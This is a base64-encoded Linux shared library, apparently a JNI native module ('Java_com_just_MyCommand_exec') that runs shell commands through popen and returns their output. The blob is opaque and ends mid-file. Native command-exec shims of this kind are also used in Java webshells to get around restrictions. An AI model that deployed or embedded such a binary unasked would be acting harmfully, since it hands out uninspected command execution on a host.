AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcgAAARsDO0gAAAAIAAAAHPD//2QAAAD88P//jAAAAAzx//+kAAAAlfL//xwBAAAJ9P//RAEAAFb0//9kAQAAcPT//7wAAACk9P//3AAAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAACQAAAAcAAAAsO///+AAAAAADhBGDhhKDwt3CIAAPxo6KjMkIgAAAAAUAAAARAAAAGjw//8QAAAAAAAAAAAAAAAUAAAAXAAAAGDw///QAAAAAAAAAAAAAAAcAAAAdAAAAKzz//80AAAAAEUOEIYCQw0GawwHCAAAABwAAACUAAAAwPP//z0AAAAARQ4QhgJDDQZ0DAcIAAAAHAAAAAAAAAABelBMUgABeBAHm3UfAAAbGwwHCJABAAAkAAAAJAAAAHHx//90AQAABFsAAABFDhCGAkMNBkiDAwNjAQwHCAAAHAAAAPwAAAC98v//TQAAAABFDhCGAkMNBgJEDAcIAAAcAAAAHAEAAOry//8ZAAAAAEUOEIYCQw0GUAwHCAAAAAAAAAD//wEPXSIAALkBXcQCAOACBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQEgAAAAAAAFoUAAAAAAAAUBIAAAAAAAABAAAAAAAAADACAAAAAAAAAQAAAAAAAAA/AgAAAAAAAAEAAAAAAAAATQIAAAAAAAAMAAAAAAAAAAAQAAAAAAAADQAAAAAAAADoFAAAAAAAABkAAAAAAAAA4D0AAAAAAAAbAAAAAAAAABAAAAAAAAAAGgAAAAAAAADwPQAAAAAAABwAAAAAAAAACAAAAAAAAAD1/v9vAAAAAPACAAAAAAAABQAAAAAAAAAYBQAAAAAAAAYAAAAAAAAAIAMAAAAAAAAKAAAAAAAAAJsCAAAAAAAACwAAAAAAAAAYAAAAAAAAAAMAAAAAAAAAAEAAAAAAAAACAAAAAAAAADgBAAAAAAAAFAAAAAAAAAAHAAAAAAAAABcAAAAAAAAAYAkAAAAAAAAHAAAAAAAAAHAIAAAAAAAACAAAAAAAAADwAAAAAAAAAAkAAAAAAAAAGAAAAAAAAAD+//9vAAAAAOAHAAAAAAAA////bwAAAAADAAAAAAAAAPD//28AAAAAtAcAAAAAAAD5//9vAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+D0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAMBAAAAAAAABAEAAAAAAAAFAQAAAAAAAAYBAAAAAAAABwEAAAAAAAAIAQAAAAAAAAkBAAAAAAAACgEAAAAAAAALAQAAAAAAAAwBAAAAAAAADQEAAAAAAAAOAQAAAAAAAA8BAAAAAAAACAQAAAAAAAAAAAAAAAAAAAR0NDOiAoVWJ1bnR1IDkuNC4wLTF1YnVudHUxfjIwLjA0LjIpIDkuNC4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQCoAgAAAAAAAAAAAAAAAAAAAAAAAAMAAgDIAgAAAAAAAAAAAAAAAAAAAAAAAAMAAwDwAgAAAAAAAAAAAAAAAAAAAAAAAAMABAAgAwAAAAAAAAAAAAAAAAAAAAAAAAMABQAYBQAAAAAAAAAAAAAAAAAAAAAAAAMABgC0BwAAAAAAAAAAAAAAAAAAAAAAAAMABwDgBwAAAAAAAAAAAAAAAAAAAAAAAAMACABwCAAAAAAAAAAAAAAAAAAAAAAAAAMACQBgCQAAAAAAAAAAAAAAAAAAAAAAAAMACgAAEAAAAAAAAAAAAAAAAAAAAAAAAAMACwAgEAAAAAAAAAAAAAAAAAAAAAAAAAMADAAAEQAAAAAAAAAAAAAAAAAAAAAAAAMADQAQEQAAAAAAAAAAAAAAAAAAAAAAAAMADgDgEQAAAAAAAAAAAAAAAAAAAAAAAAMADwDoFAAAAAAAAAAAAAAAAAAAAAAAAAMAEAAAIAAAAAAAAAAAAAAAAAAAAAAAAAMAEQAEIAAAAAAAAAAAAAAAAAAAAAAAAAMAEgBQIAAAAAAAAAAAAAAAAAAAAAAAAAMAEwCMIQAAAAAAAAAAAAAAAAAAAAAAAAMAFADgPQAAAAAAAAAAAAAAAAAAAAAAAAMAFQDwPQAAAAAAAAAAAAAAAAAAAAAAAAMAFgD4PQAAAAAAAAAAAAAAAAAAAAAAAAMAFwDYPwAAAAAAAAAAAAAAAAAAAAAAAAMAGAAAQAAAAAAAAAAAAAAAAAAAAAAAAAMAGQCAQAAAAAAAAAAAAAAAAAAAAAAAAAMAGgCQQAAAAAAAAAAAAAAAAAAAAAAAAAMAGwAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAIADgDgEQAAAAAAAAAAAAAAAAAADgAAAAIADgAQEgAAAAAAAAAAAAAAAAAAIQAAAAIADgBQEgAAAAAAAAAAAAAAAAAANwAAAAEAGgCQQAAAAAAAAAEAAAAAAAAARgAAAAEAFQDwPQAAAAAAAAAAAAAAAAAAbQAAAAIADgCQEgAAAAAAAAAAAAAAAAAAeQAAAAEAFADgPQAAAAAAAAAAAAAAAAAAAQEAAAQA8f8AAAAAAAAAAAAAAAAAAAAAmAAAAAEAEAAAIAAAAAAAAAEAAAAAAAAAswAAAAEAGgCRQAAAAAAAAAEAAAAAAAAAwgAAAAIADgANFAAAAAAAAE0AAAAAAAAA8gAAAAIADgBaFAAAAAAAABkAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADwEAAAEAEgCIIQAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAHQEAAAAAEQAEIAAAAAAAAAAAAAAAAAAAMAEAAAEAGQCAQAAAAAAAAAAAAAAAAAAAPQEAAAEAGQCIQAAAAAAAAAgAAAAAAAAAWQEAAAIADwDoFAAAAAAAAAAAAAAAAAAAXwEAAAIACgAAEAAAAAAAAAAAAAAAAAAAZQEAAAEAFgD4PQAAAAAAAAAAAAAAAAAAbgEAAAEAGQCQQAAAAAAAAAAAAAAAAAAAegEAAAEAGAAAQAAAAAAAAAAAAAAAAAAAkAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAowEAABIAAAAAAAAAAAAAAAAAAAAAAAAA8gEAACIAAAAAAAAAAAAAAAAAAAAAAAAADgIAABIAAAAAAAAAAAAAAAAAAAAAAAAAWAIAACIADgCoFAAAAAAAAD0AAAAAAAAAhAIAABIAAAAAAAAAAAAAAAAAAAAAAAAAngIAABIAAAAAAAAAAAAAAAAAAAAAAAAA6gIAABIAAAAAAAAAAAAAAAAAAAAAAAAABgMAABIAAAAAAAAAAAAAAAAAAAAAAAAAUAMAABIAAAAAAAAAAAAAAAAAAAAAAAAAZAMAABIAAAAAAAAAAAAAAAAAAAAAAAAAiQMAABIAAAAAAAAAAAAAAAAAAAAAAAAAnAMAABIAAAAAAAAAAAAAAAAAAAAAAAAAvQMAACAAAAAAAAAAAAAAAAAAAAAAAAAA2QMAABIAAAAAAAAAAAAAAAAAAAAAAAAA8QMAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAACAAAAAAAAAAAAAAAAAAAAAAAAAAGgQAACIADgB0FAAAAAAAADQAAAAAAAAAOAQAABIADgCZEgAAAAAAAHQBAAAAAAAAVQQAABIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAZGVyZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNfYXV4AGNvbXBsZXRlZC44MDYxAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBfWlN0TDE5cGllY2V3aXNlX2NvbnN0cnVjdABfWlN0TDhfX2lvaW5pdABfWjQxX19zdGF0aWNfaW5pdGlhbGl6YXRpb25fYW5kX2Rlc3RydWN0aW9uXzBpaQBfR0xPQkFMX19zdWJfSV9NeUNvbW1hbmQuY3BwAF9fRlJBTUVfRU5EX18AX19HTlVfRUhfRlJBTUVfSERSAF9fZHNvX2hhbmRsZQBEVy5yZWYuX19neHhfcGVyc29uYWxpdHlfdjAAX2ZpbmkAX2luaXQAX0RZTkFNSUMAX19UTUNfRU5EX18AX0dMT0JBTF9PRkZTRVRfVEFCTEVfAHBvcGVuQEBHTElCQ18yLjIuNQBfWk5LU3Q3X19jeHgxMTEyYmFzaWNfc3RyaW5nSWNTdDExY2hhcl90cmFpdHNJY0VTYUljRUU1Y19zdHJFdkBAR0xJQkNYWF8zLjQuMjEAX19jeGFfZmluYWxpemVAQEdMSUJDXzIuMi41AF9aTlN0N19fY3h4MTExMmJhc2ljX3N0cmluZ0ljU3QxMWNoYXJfdHJhaXRzSWNFU2FJY0VFRDFFdkBAR0xJQkNYWF8zLjQuMjEAX1pON0pOSUVudl8xN0dldFN0cmluZ1VURkNoYXJzRVA4X2pzdHJpbmdQaABfX2N4YV9hdGV4aXRAQEdMSUJDXzIuMi41AF9aTlN0N19fY3h4MTExMmJhc2ljX3N0cmluZ0ljU3QxMWNoYXJfdHJhaXRzSWNFU2FJY0VFcExFUEtjQEBHTElCQ1hYXzMuNC4yMQBfX3N0YWNrX2Noa19mYWlsQEBHTElCQ18yLjQAX1pOU3Q3X19jeHgxMTEyYmFzaWNfc3RyaW5nSWNTdDExY2hhcl90cmFpdHNJY0VTYUljRUVDMUV2QEBHTElCQ1hYXzMuNC4yMQBwY2xvc2VAQEdMSUJDXzIuMi41AF9aTlN0OGlvc19iYXNlNEluaXRDMUV2QEBHTElCQ1hYXzMuNABmZ2V0c0BAR0xJQkNfMi4yLjUAX19neHhfcGVyc29uYWxpdHlfdjBAQENYWEFCSV8xLjMAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAF9VbndpbmRfUmVzdW1lQEBHQ0NfMy4wAF9fZ21vbl9zdGFydF9fAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX1pON0pOSUVudl8xMk5ld1N0cmluZ1VURkVQS2MASmF2YV9jb21fanVzdF9NeUNvbW1hbmRfZXhlYwBfWk5TdDhpb3NfYmFzZTRJbml0RDFFdkBAR0xJQkNYWF8zLjQAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALm5vdGUuZ251LnByb3BlcnR5AC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsYS5keW4ALnJlbGEucGx0AC5pbml0AC5wbHQuZ290AC5wbHQuc2VjAC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAuZWhfZnJhbWUALmdjY19leGNlcHRfdGFibGUALmluaXRfYXJyYXkALmZpbmlfYXJyYXkALmR5bmFtaWMALmdvdC5wbHQALmRhdGEALmJzcwAuY29tbWVudAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAAHAAAAAgAAAAAAAACoAgAAAAAAAKgCAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAuAAAABwAAAAIAAAAAAAAAyAIAAAAAAADIAgAAAAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAQQAAAPb//28CAAAAAAAAAPACAAAAAAAA8AIAAAAAAAAwAAAAAAAAAAQAAAAAAAAACAAAAAAAAAAAAAAAAAAAAEsAAAALAAAAAgAAAAAAAAAgAwAAAAAAACADAAAAAAAA+AEAAAAAAAAFAAAAAQAAAAgAAAAAAAAAGAAAAAAAAABTAAAAAwAAAAIAAAAAAAAAGAUAAAAAAAAYBQAAAAAAAJsCAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAWwAAAP///28CAAAAAAAAALQHAAAAAAAAtAcAAAAAAAAqAAAAAAAAAAQAAAAAAAAAAgAAAAAAAAACAAAAAAAAAGgAAAD+//9vAgAAAAAAAADgBwAAAAAAAOAHAAAAAAAAkAAAAAAAAAAFAAAAAwAAAAgAAAAAAAAAAAAAAAAAAAB3AAAABAAAAAIAAAAAAAAAcAgAAAAAAABwCAAAAAAAAPAAAAAAAAAABAAAAAAAAAAIAAAAAAAAABgAAAAAAAAAgQAAAAQAAABCAAAAAAAAAGAJAAAAAAAAYAkAAAAAAAA4AQAAAAAAAAQAAAAYAAAACAAAAAAAAAAYAAAAAAAAAIsAAAABAAAABgAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAGwAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACGAAAAAQAAAAYAAAAAAAAAIBAAAAAAAAAgEAAAAAAAAOAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAkQAAAAEAAAAGAAAAAAAAAAARAAAAAAAAABEAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAJoAAAABAAAABgAAAAAAAAAQEQAAAAAAABARAAAAAAAA0AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAACjAAAAAQAAAAYAAAAAAAAA4BEAAAAAAADgEQAAAAAAAAUDAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAqQAAAAEAAAAGAAAAAAAAAOgUAAAAAAAA6BQAAAAAAAANAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAK8AAAABAAAAAgAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAC3AAAAAQAAAAIAAAAAAAAABCAAAAAAAAAEIAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAxQAAAAEAAAACAAAAAAAAAFAgAAAAAAAAUCAAAAAAAAA8AQAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAM8AAAABAAAAAgAAAAAAAACMIQAAAAAAAIwhAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAADhAAAADgAAAAMAAAAAAAAA4D0AAAAAAADgLQAAAAAAABAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA7QAAAA8AAAADAAAAAAAAAPA9AAAAAAAA8C0AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAPkAAAAGAAAAAwAAAAAAAAD4PQAAAAAAAPgtAAAAAAAA4AEAAAAAAAAFAAAAAAAAAAgAAAAAAAAAEAAAAAAAAACVAAAAAQAAAAMAAAAAAAAA2D8AAAAAAADYLwAAAAAAACgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAAgEAAAEAAAADAAAAAAAAAABAAAAAAAAAADAAAAAAAACAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAAsBAAABAAAAAwAAAAAAAACAQAAAAAAAAIAwAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAARAQAACAAAAAMAAAAAAAAAkEAAAAAAAACQMAAA